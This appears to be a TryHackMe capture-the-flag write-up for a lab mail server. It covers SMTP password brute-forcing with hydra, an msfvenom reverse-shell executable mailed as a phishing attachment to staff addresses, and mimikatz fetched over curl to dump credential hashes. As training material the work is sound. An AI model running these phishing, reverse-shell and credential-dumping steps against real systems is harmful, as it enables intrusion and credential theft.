TryHackMe: You Got Mail

You Got Mail started with basic enumeration to discover a list of email addresses and create a custom wordlist to find the password for one of them. We then used this account to send phishing emails to other discovered email addresses with an executable attachment to gain a shell. After obtaining a shell, we performed some post-exploitation to discover two passwords and complete the room.

Initial Enumeration

Nmap Scan

Starting with an nmap scan, we can see that, apart from some of the usual Windows services, there are also mail-related services running.

$ nmap -T4 -n -sC -sV -Pn -p- 10.10.118.67 PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd | smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 110/tcp open pop3 hMailServer pop3d |_pop3-capabilities: UIDL USER TOP 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 143/tcp open imap hMailServer imapd |_imap-capabilities: NAMESPACE QUOTA CHILDREN IMAP4 CAPABILITY completed OK IMAP4rev1 RIGHTS=texkA0001 ACL IDLE SORT 445/tcp open microsoft-ds? 587/tcp open smtp hMailServer smtpd | smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 3389/tcp open ms-wbt-server Microsoft Terminal Services ... 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) ... Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows

Web Application

Along with the target, we are also given a website at https://brownbrick.co/, where we find a static site.

Checking the Our Team section at https://brownbrick.co/menu.html, we can find a couple of email addresses.

Shell as wrohit

From the emails, we can create a wordlist as follows:

fstamatis@brownbrick.co pcathrine@brownbrick.co tchikondi@brownbrick.co lhedvig@brownbrick.co wrohit@brownbrick.co oaurelius@brownbrick.co

Using the web application, we can also create a custom wordlist for passwords using cewl:

$ cewl --lowercase https://brownbrick.co/ > passwords.txt

Using hydra to test these passwords against the email addresses we found, we are able to discover the password for the lhedvig@brownbrick.co email account:

$ hydra -L emails.txt -P passwords.txt 10.10.118.67 smtp -s 587 -t 16 ... [587][smtp] host: 10.10.118.67 login: lhedvig@brownbrick.co password: bricks ...

Now that we have valid credentials, we can use them to send emails to other users.

First, we create a reverse shell executable to use as an attachment with msfvenom:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.72.22 LPORT=443 -f exe -o shell.exe

Then, using our email list, we can use sendemail to send emails with our executable as an attachment to the other users:

$ for email in $(cat emails.txt); do sendemail -f "lhedvig@brownbrick.co" -t "$email" -u "test" -m "test" -a shell.exe -s 10.10.118.67:25 -xu "lhedvig@brownbrick.co" -xp "bricks"; done

With this, we can see that our executable is executed by one of the users, granting us a shell as wrohit and we can then read the flag located at C:\Users\wrohit\Desktop\flag.txt.

$ rlwrap nc -lvnp 443 listening on [any] 443 ... connect to [10.11.72.22] from (UNKNOWN) [10.10.118.67] 49773 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Mail\Attachments>whoami brick-mail\wrohit C:\Mail\Attachments>type C:\Users\wrohit\Desktop\flag.txt THM{[REDACTED]}

Finding the Passwords

Password of wrohit

At this point, since we are a member of the Administrators group, we can simply upload Mimikatz to the machine and use it to dump the hashes from the SAM registry as follows:

C:\ProgramData>curl http://10.11.72.22/mimikatz.exe -o mimikatz.exe C:\ProgramData>.\mimikatz.exe "token::elevate" "lsadump::sam" "exit" ... RID : 000003f6 (1014) User : wrohit Hash NTLM: 8458995f1d0a4b0c107fb8e23362c814 ...

We can then use CrackStation to crack the hash and recover the password for the user.

There are also many other ways we could have achieved the same goal. For example, we could also obtain the user’s hash using the sekurlsa::msv module or directly retrieve the password using sekurlsa::wdigest instead of cracking the hash. Alternatively, in a scenario where we did not have permissions to run these modules, since we already have a shell as the wrohit user, we could have run responder on our machine and used the existing shell to force authentication to our server, capturing the hash for the user and cracking it.

Password for hMail Dashboard

Lastly, we are tasked with finding the password for the hMailServer Administrator Dashboard, which we can find in hashed form inside the C:\Program Files (x86)\hMailServer\Bin\hMailServer.INI configuration file:

C:\>type "C:\Program Files (x86)\hMailServer\Bin\hMailServer.INI" ... [Security] AdministratorPassword=5f4dcc3b5aa765d61d8327deb882cf99 ...

Once again, using CrackStation to crack the hash, we can retrieve the password and complete the challenge.